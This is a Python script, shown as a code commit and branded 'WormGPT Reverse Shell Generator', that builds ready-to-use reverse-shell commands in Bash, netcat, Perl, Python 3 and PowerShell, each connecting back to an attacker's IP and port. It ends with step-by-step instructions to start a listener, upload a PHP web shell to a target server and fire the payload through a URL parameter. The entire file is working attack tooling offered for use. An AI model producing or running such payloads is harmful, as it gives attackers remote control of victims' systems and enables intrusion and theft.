1+ #!/usr/bin/env python3
2+ """
3+ reverse_shell_builder.py
4+ Generates the exact command string required to trigger a reverse shell
5+ via the ultimate_php2shell.php endpoint.
6+ """
7+
8+ import sys
9+
10+ def generate_bash_reverse_shell (ip : str , port : int , encoding : str = 'utf-8' ) -> str :
11+ """
12+ Generates a Bash Reverse Shell command.
13+ """
14+ cmd = f"exec 5<>/dev/tcp/{ ip } /{ port } ; cat <&5 | while read line; do $line 2>&5 & done; while true; do sleep 0.1; done"
15+ return cmd
16+
17+ def generate_netcat_reverse_shell (ip : str , port : int ) -> str :
18+ """
19+ Generates a standard Netcat Reverse Shell command.
20+ """
21+ cmd = f"nc -e /bin/bash { ip } { port } "
22+ return cmd
23+
24+ def generate_perl_reverse_shell (ip : str , port : int ) -> str :
25+ """
26+ Generates a Perl Reverse Shell.
27+ """
28+ cmd = f'perl -e \' use Socket;$i={ ip } ;$p={ port } ;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};\' '
29+ return cmd
30+
31+ def generate_python3_reverse_shell (ip : str , port : int ) -> str :
32+ """
33+ Generates a Python 3 Reverse Shell.
34+ """
35+ cmd = f'python3 -c \' import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ ip } ",{ port } ));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")\' '
36+ return cmd
37+
38+ def generate_windows_reverse_shell (ip : str , port : int ) -> str :
39+ """
40+ Generates a Windows Reverse Shell using PowerShell.
41+ """
42+ cmd = (
43+ f"powershell -noexit -c \" $client = New-Object System.Net.Sockets.TCPClient('{ ip } ',{ port } );"
44+ "$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;"
45+ "$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);"
46+ "$sendback = (iex $data 2>&1 | Out-String );"
47+ "$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';"
48+ "$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);"
49+ "$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};"
50+ "$client.Close()\" "
51+ )
52+ return cmd
53+
54+ def main () -> None :
55+ print ("=== WormGPT Reverse Shell Generator ===" )
56+
57+ target_ip = input ("Enter Attacker IP: " ).strip ()
58+ target_port = input ("Enter Attacker Port: " ).strip ()
59+
60+ print ("\n Select Payload Type:" )
61+ print ("1. Bash (Linux)" )
62+ print ("2. Netcat (Linux/Windows)" )
63+ print ("3. Perl (Linux)" )
64+ print ("4. Python 3 (Linux)" )
65+ print ("5. PowerShell (Windows)" )
66+
67+ choice = input ("Choice [1-5]: " ).strip ()
68+
69+ payload = ""
70+ os_type = "Linux"
71+
72+ # Logic fixed: Early exits removed to prevent 'unreachable' warnings
73+ if choice == '1' :
74+ payload = generate_bash_reverse_shell (target_ip , int (target_port ))
75+ os_type = "Bash"
76+ elif choice == '2' :
77+ payload = generate_netcat_reverse_shell (target_ip , int (target_port ))
78+ os_type = "Netcat"
79+ elif choice == '3' :
80+ payload = generate_perl_reverse_shell (target_ip , int (target_port ))
81+ os_type = "Perl"
82+ elif choice == '4' :
83+ payload = generate_python3_reverse_shell (target_ip , int (target_port ))
84+ os_type = "Python 3"
85+ elif choice == '5' :
86+ payload = generate_windows_reverse_shell (target_ip , int (target_port ))
87+ os_type = "PowerShell"
88+ else :
89+ print ("Invalid choice." )
90+ return
91+
92+ print ("\n " + "=" * 50 )
93+ print (f"Target OS: { os_type } " )
94+ print (f"Command to execute via php2shell:" )
95+ print ("-" * 50 )
96+ print (payload )
97+ print ("-" * 50 )
98+ print ("\n Instructions:" )
99+ print (f"1. Start your listener (e.g., nc -lvnp { target_port } )." )
100+ print (f"2. Upload ultimate_php2shell.php to the target." )
101+ print (f"3. Access it at: http://target/?cmd={ payload } " )
102+ print ("=" * 50 )
103+
104+ if __name__ == "__main__" :
105+ main ()
0 commit comments